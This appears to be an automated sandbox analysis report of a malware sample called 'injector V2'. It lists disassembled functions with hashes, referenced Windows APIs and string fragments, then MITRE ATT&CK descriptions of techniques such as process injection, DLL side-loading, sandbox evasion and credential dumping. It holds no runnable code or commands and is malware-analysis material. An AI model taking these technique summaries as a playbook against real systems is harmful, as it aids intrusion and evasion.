Function 00429813 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

, xrefs: 00429845, 00429860

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 4360b9a0dbcb048b31625e884e474d230f3ccf18c6803161638f971b72f92b1f
Instruction ID: ca349acebf200c130f07c25eb8c9f900c512d4fe60b0edf43c0723bea5fd6d56
Opcode Fuzzy Hash: 4360b9a0dbcb048b31625e884e474d230f3ccf18c6803161638f971b72f92b1f
Instruction Fuzzy Hash: CD01D274A04610CBDB149F10E99053FB7A1FB86314F58956DDA910B252D374DC00CB5E

Function 00428A9C Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

, xrefs: 00428AC5, 00428AE0

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 1afb893726f46772e7593d518e2cfa7ea3916efc63878d48ce905e34f30bf491
Instruction ID: de03f4f47443a8bd39c365dfb0ef4407cee9922f27402f28625e57e8ebf2b2aa
Opcode Fuzzy Hash: 1afb893726f46772e7593d518e2cfa7ea3916efc63878d48ce905e34f30bf491
Instruction Fuzzy Hash: FFF0AF30B0A2218BD614CF14B95113FFBE1AFD6320F69562EE48227651CB78E842C78F

Function 00405C20 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46058562c2914b172cae08c48a1055d684e203c1e75c7eba90490f348242528e
Instruction ID: 51b159df0d36f693b031eaab9385a80d08230fa316fccbb5eeefeff4cb7c6d8c
Opcode Fuzzy Hash: 46058562c2914b172cae08c48a1055d684e203c1e75c7eba90490f348242528e
Instruction Fuzzy Hash: 5DF1D2356087418FC724CF29C88066BFBE2EFD9304F08882DE5DA87791E679E914CB56

Function 0042CD67 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24e978d94e56725f1d1b472ecd9cf3898dfda095cfba4a6f6882cce1a2b1b29e
Instruction ID: d8a9fec0027e62857f9e7bfb6e5d6553db6d99cc1398c4a4585c21a2a51ac729
Opcode Fuzzy Hash: 24e978d94e56725f1d1b472ecd9cf3898dfda095cfba4a6f6882cce1a2b1b29e
Instruction Fuzzy Hash: BF9149756447408FE721CF35C8C1BA7BBE2EFA2304F58856ED0DA8B386DA39A406C755

Function 004294BD Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d32814b42b1c4023a689e78a7efeb042f14edfef4c22c81f02d20c71882a955d
Instruction ID: 880aa2baef86b0448762cace4d4ccd93be02fb106297aa52c3179b4be83c6bda
Opcode Fuzzy Hash: d32814b42b1c4023a689e78a7efeb042f14edfef4c22c81f02d20c71882a955d
Instruction Fuzzy Hash: 15811071A183218BC714CF28D85166BB3F1FFD6708F48892DE8858B390E779D905C79A

Function 00440CD0 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ece5df5b6cd9393a726ded35b5de15b49529ff404c918f7e2f0173a43e32689a
Instruction ID: 5c0c2071a4dcea8812aeb69c0a8b309c6f21e53569e031a8c36ce4244bbbab29
Opcode Fuzzy Hash: ece5df5b6cd9393a726ded35b5de15b49529ff404c918f7e2f0173a43e32689a
Instruction Fuzzy Hash: 5791E271A083118BD724CF58C480A2BB7F2FF89704F19892DEA854B351DB79EC25C789

Function 00402190 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553dfa5f3bbfa688dded42275a24ce6ca5cd46ad06b52228966fd15d9d5d520a
Instruction ID: d0e0070986afb1801afce02a0cda79511d46dc230b4459934c59a808afd21370
Opcode Fuzzy Hash: 553dfa5f3bbfa688dded42275a24ce6ca5cd46ad06b52228966fd15d9d5d520a
Instruction Fuzzy Hash: 937139315483818BD7258A78994C367BBD19F52304F18897FD8C69B3C2D2BCC945D39A

Function 00439040 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b519613685f07e80bbd9a7bb98aeb69bda72d3d3ee017d028535196f28c4bf3b
Instruction ID: cd0b3e3533dd20fca185efeb8ae37a451f97122a8cedeb124bcf32d4b59a7fad
Opcode Fuzzy Hash: b519613685f07e80bbd9a7bb98aeb69bda72d3d3ee017d028535196f28c4bf3b
Instruction Fuzzy Hash: DC512374A00205DBEF048F69DC46BBFB7B1FB8A314F10552EEA15A7291D7B99C01CB98

Function 0040B989 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62470d2211a21ddd1af935ebe00ec76f225f8dc3dfb16d34274c3483cb670149
Instruction ID: 42addddd87d91ddbe1cf349074bdd9d0cf00f2e64c64de931b6530428438a1cb
Opcode Fuzzy Hash: 62470d2211a21ddd1af935ebe00ec76f225f8dc3dfb16d34274c3483cb670149
Instruction Fuzzy Hash: 11715779204B01CFDB248F21D894B57B7F5FB4A301F14882DE5AA876A1D771E919CF48

Function 0040B626 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ab4ca7fff76a47d068eee754a10f99cc795f7ca8f0d74a3a1a6a19be915fb3
Instruction ID: 2031b64c494bd07dc0a8d339c49fbe6ba61d9ab32cbe0a574a32405f6ed6b2c1
Opcode Fuzzy Hash: a4ab4ca7fff76a47d068eee754a10f99cc795f7ca8f0d74a3a1a6a19be915fb3
Instruction Fuzzy Hash: D5518779204B01CFDB248F21DC94B67B7B9FB0A301F10882DE5AA876A1D771E919CF58

Function 004393D0 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c53f7a2151e56eef5c59a7df9eda93d5b2c34911c251c26dec7387734fd79ff
Instruction ID: 8cd7e6e44a76840e0cf9c864b4dc42ee17bbf449749c8835b13b38f734b63783
Opcode Fuzzy Hash: 4c53f7a2151e56eef5c59a7df9eda93d5b2c34911c251c26dec7387734fd79ff
Instruction Fuzzy Hash: E751807550C3940BC7258A2884902BBF7E29BDE308F185A6EF8D68B387D17CDD46C785

Function 00428F5D Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3428ae193c7bcd2e174d8a32087c8df524dc9356a0fe233551d390cfdcb49e04
Instruction ID: 24a54a2c8675229cdaea495314ee0bf535e293b52c9439375662e7bc93ac26ca
Opcode Fuzzy Hash: 3428ae193c7bcd2e174d8a32087c8df524dc9356a0fe233551d390cfdcb49e04
Instruction Fuzzy Hash: 7F3129B6A483509BD310CF19D8806ABBBE2BFD4718F088A2DE4C557345CB34D90ACBD6

Function 00408E00 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3940700e1baaa0d0eeee129a3909170ae08500f5026dffdff98a13603b77694a
Instruction ID: 11f603fb0d9f721776d2b97ae2b39e9d4217bc6374cc303b5386588e03e1bb29
Opcode Fuzzy Hash: 3940700e1baaa0d0eeee129a3909170ae08500f5026dffdff98a13603b77694a
Instruction Fuzzy Hash: 1521E533A52A184BD3108D69CC80796729297DD338F3E46B989749B7D2D87B6C1386C4

Function 00435E10 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 65453c637e7d10ab468198b684bbdf40907617de88f130c8a64cfe96f977c526
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: CF112933A045E44EC3128E3C8400565BFE30A97635F5D539AF4B89B2D2D62A8E8A8359

Function 0042B450 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd737344ac88ef9878c80e5d4e4098b04a22f2bbfbe13be4050065726199be3
Instruction ID: fa038fc164eeecd97fe6772c4f5c4ecdd241b064536ba8883c776843f79b63ce
Opcode Fuzzy Hash: 0dd737344ac88ef9878c80e5d4e4098b04a22f2bbfbe13be4050065726199be3
Instruction Fuzzy Hash: C10192B570071147D620AE55A4D0727A3A8DF90B08F48843EDA449B743EB7EFC0487D9

Function 0042E388 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739e20d83a75b12cc4edc0c0cb4c03b76f2ec2cbdeb089ca078a816bd730316f
Instruction ID: ab629cee7c6d59a73fa31a6ef5f2130a65cb21d096da26a4ed122ccb78a54fc1
Opcode Fuzzy Hash: 739e20d83a75b12cc4edc0c0cb4c03b76f2ec2cbdeb089ca078a816bd730316f
Instruction Fuzzy Hash: 971129696447808FD319CB3AD8543A3BBA35FD7210F5C85AEC4D58B386CB385407C316

Function 00422776 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c1597807e07014396e67b3087708c85ca5cdec378a0f3833d6b9652d686c78
Instruction ID: 8a03683c1672b3882a45e19e6ca236dd169e47525db707a9347a8ccc0bc35e0e
Opcode Fuzzy Hash: c2c1597807e07014396e67b3087708c85ca5cdec378a0f3833d6b9652d686c78
Instruction Fuzzy Hash: 8701D43064C3516BE300DF64E856B6BBBE4DB92304F549C2DF08097252EB78D60A875A

Function 0042CD62 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b0d329a4713a373ddf3faf30a698ba87af2c1adf7a79306f4269258a6df32d
Instruction ID: 81cdd60912a32447842a30ee473c6ea26498f306dd56cb5fe75476b0e5a86237
Opcode Fuzzy Hash: 59b0d329a4713a373ddf3faf30a698ba87af2c1adf7a79306f4269258a6df32d
Instruction Fuzzy Hash: 7401DB35A14740CFE724CF35D445BA377E29B52304F08846DD0CB9B356C6796405CB59

Function 0040BEB1 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb268d8788da9834873df3f7ec4d4cafb1614ec54c6f70f9c1df89b9735a9ad
Instruction ID: db7a20aa1f5cd9bcf6f29cfc8e7f396a982dd41fada3cd5c80b4433a2b6e395f
Opcode Fuzzy Hash: 9cb268d8788da9834873df3f7ec4d4cafb1614ec54c6f70f9c1df89b9735a9ad
Instruction Fuzzy Hash: B9D0C22064B7C44BC3170B309940163BF329F93110F095ADEC0C11B497C255E406C39D

Function 0043DDF5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7d2b2c64cac453b5bb9e7438d69aa090942da6eb846d5477aab4c7854883e6
Instruction ID: 39eac468691ef52aae9fb63907073c71273284e47be281139a51e628e6ad5438
Opcode Fuzzy Hash: 1b7d2b2c64cac453b5bb9e7438d69aa090942da6eb846d5477aab4c7854883e6
Instruction Fuzzy Hash: 70C04C2869A0009B93088F219950575A266978B619B14B529885673259E124D422560D

Function 0043E5A6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2ad09f2ef53dc0c73fb9aec5719d9427ca59ae68421d84f0603d9519cf9a2f
Instruction ID: c299feb74349660be83788b40f0038ac613b869166528d91592882ccfc08d4f1
Opcode Fuzzy Hash: cb2ad09f2ef53dc0c73fb9aec5719d9427ca59ae68421d84f0603d9519cf9a2f
Instruction Fuzzy Hash: AFC0923CA8900087930CCF21DA506B1F37BA797609A18F12DCC663322AE130E4229A0D

Function 00432004 Relevance: 52.6, APIs: 1, Strings: 29, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043204E

Strings

Q, xrefs: 00432239
W, xrefs: 00432209
L, xrefs: 00432151
E, xrefs: 00432199
G, xrefs: 00432189
g, xrefs: 00432121
M, xrefs: 004321D9
P, xrefs: 00432241
_, xrefs: 00432249
g, xrefs: 00432111
I, xrefs: 004321F9
C, xrefs: 004321A9
@, xrefs: 00432161
m, xrefs: 00432091
~, xrefs: 004320B1
S, xrefs: 00432229
M, xrefs: 00432171
0, xrefs: 004322C7
i, xrefs: 004320A1
A, xrefs: 00432061
L, xrefs: 00432081
U, xrefs: 00432219
K, xrefs: 004321E9
O, xrefs: 004321C9
`, xrefs: 004320F1
b, xrefs: 00432181
A, xrefs: 004321B9
Q, xrefs: 00432071
v, xrefs: 00432101

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: AllocString
String ID: 0$@$A$A$C$E$G$I$K$L$L$M$M$O$P$Q$Q$S$U$W$_$`$b$g$g$i$m$v$~
API String ID: 2525500382-777255578
Opcode ID: 4148526136573acf949de041eea7d1bf3b492f16cc655e546ec20f77005a4a37
Instruction ID: e4018db550d9f916cdea27e5f6493a1e96686a48c0e5d3e063ade476eea90165
Opcode Fuzzy Hash: 4148526136573acf949de041eea7d1bf3b492f16cc655e546ec20f77005a4a37
Instruction Fuzzy Hash: 9D81B66110CBC28DD332873C884879BBED16BA7224F584B9DD5ED8B3E2C7B944498767

Function 00432988 Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 86COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432992
VariantInit.OLEAUT32 ref: 004329A5

Strings

, xrefs: 004329E5
`, xrefs: 004329BD
3, xrefs: 00432A21
U, xrefs: 004329EF
9, xrefs: 00432A17
., xrefs: 004329DB
D, xrefs: 00432A03
S, xrefs: 00432A0D
-, xrefs: 004329D1
?, xrefs: 004329F9
%, xrefs: 004329C7

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $%$-$.$3$9$?$D$S$U$`
API String ID: 2610073882-273062852
Opcode ID: 8afb477ce0f2f7f69a292a13708c09511120daa34ae2ab9f63e52892dd6e61f3
Instruction ID: 5a39445bae66aa0b67c9b84da12ea6a3cde0deb3dd98c502b3ef55c3d807de64
Opcode Fuzzy Hash: 8afb477ce0f2f7f69a292a13708c09511120daa34ae2ab9f63e52892dd6e61f3
Instruction Fuzzy Hash: 63412B7140D7C28AD3519B38898874FBFD16BDA228F484B9DF1E45B3E2C6B48506C757

Function 00432447 Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 84COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432459
VariantInit.OLEAUT32 ref: 0043246C

Strings

?, xrefs: 004324C7
S, xrefs: 004324DB
-, xrefs: 0043249F
`, xrefs: 0043248B
9, xrefs: 004324E5
3, xrefs: 004324EF
, xrefs: 004324B3
D, xrefs: 004324D1
., xrefs: 004324A9
U, xrefs: 004324BD
%, xrefs: 00432495

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $%$-$.$3$9$?$D$S$U$`
API String ID: 2610073882-273062852
Opcode ID: 44fe74e87aa43f3464d95880ce8f36bc6581fa8ad32c45d02a378784c3744d1c
Instruction ID: 0f4017a0e70c4f862e4af95d7559c2be28ba6bf6baf8e43d4a43e16b836d11a1
Opcode Fuzzy Hash: 44fe74e87aa43f3464d95880ce8f36bc6581fa8ad32c45d02a378784c3744d1c
Instruction Fuzzy Hash: 0641187140D7C18AD311DB38888864BFFE16BDA624F484B9DF0E89B3E2C7B485058B97

Function 00432E7D Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 104COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00432EC0

Strings

x, xrefs: 00432EDC
`, xrefs: 00432F3C
h, xrefs: 00432EEC
g, xrefs: 00432EFC
q, xrefs: 00432F2C
d, xrefs: 00432F5C
m, xrefs: 00432F1C
~, xrefs: 00432F0C

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitVariant
String ID: `$d$g$h$m$q$x$~
API String ID: 1927566239-2962199023
Opcode ID: 49b3455d79a840ba0ac55fcf7c02c3c7f1641a4a3ffaa97b9c92ac7c28ccf114
Instruction ID: 8a9e5a14a64c7078d8552bf6a1c380d3a9083cc9617ce886f54da5de427395d5
Opcode Fuzzy Hash: 49b3455d79a840ba0ac55fcf7c02c3c7f1641a4a3ffaa97b9c92ac7c28ccf114
Instruction Fuzzy Hash: 0F51393050C7C2CAD3358B2888597DEBFE15BE6314F088A9DD4E88B7D2D6B941458B63

Function 0043416E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004341A4
GetSystemMetrics.USER32 ref: 004341B3

Strings

, xrefs: 0043425E

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 5c39f7027612a0070e4ffc29c651b3f433073beb857ec352cd464f46ece1cca8
Instruction ID: bcf3280c43cee577f57b17f5916f8b881236042d1a2c30247715e4f12cf1bc4d
Opcode Fuzzy Hash: 5c39f7027612a0070e4ffc29c651b3f433073beb857ec352cd464f46ece1cca8
Instruction Fuzzy Hash: FC31ADB49183049FDB00EF6DD984619BBF0BF89704F11892EE498DB360D774AA49CB86

Function 00427F9D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,B9F4BBC1,00000000), ref: 0042805E

Strings

*, xrefs: 00427FA7
*, xrefs: 00427FB8

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: CopyFile
String ID: *$*
API String ID: 1304948518-3771216468
Opcode ID: 5213059e2cf1ff3bd85a8ec57feb20daaa267110ed64e0b077f9cce5909a7b61
Instruction ID: 21e9a9041225b6c5ceb73ac95c0eae95b8f8785af04b964e1be19c5000155ac1
Opcode Fuzzy Hash: 5213059e2cf1ff3bd85a8ec57feb20daaa267110ed64e0b077f9cce5909a7b61
Instruction Fuzzy Hash: 7211B1B85183449FE340DF24A84571FBBE4BB9A304F544A2DF5C69A281E7B5C20A8B1B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
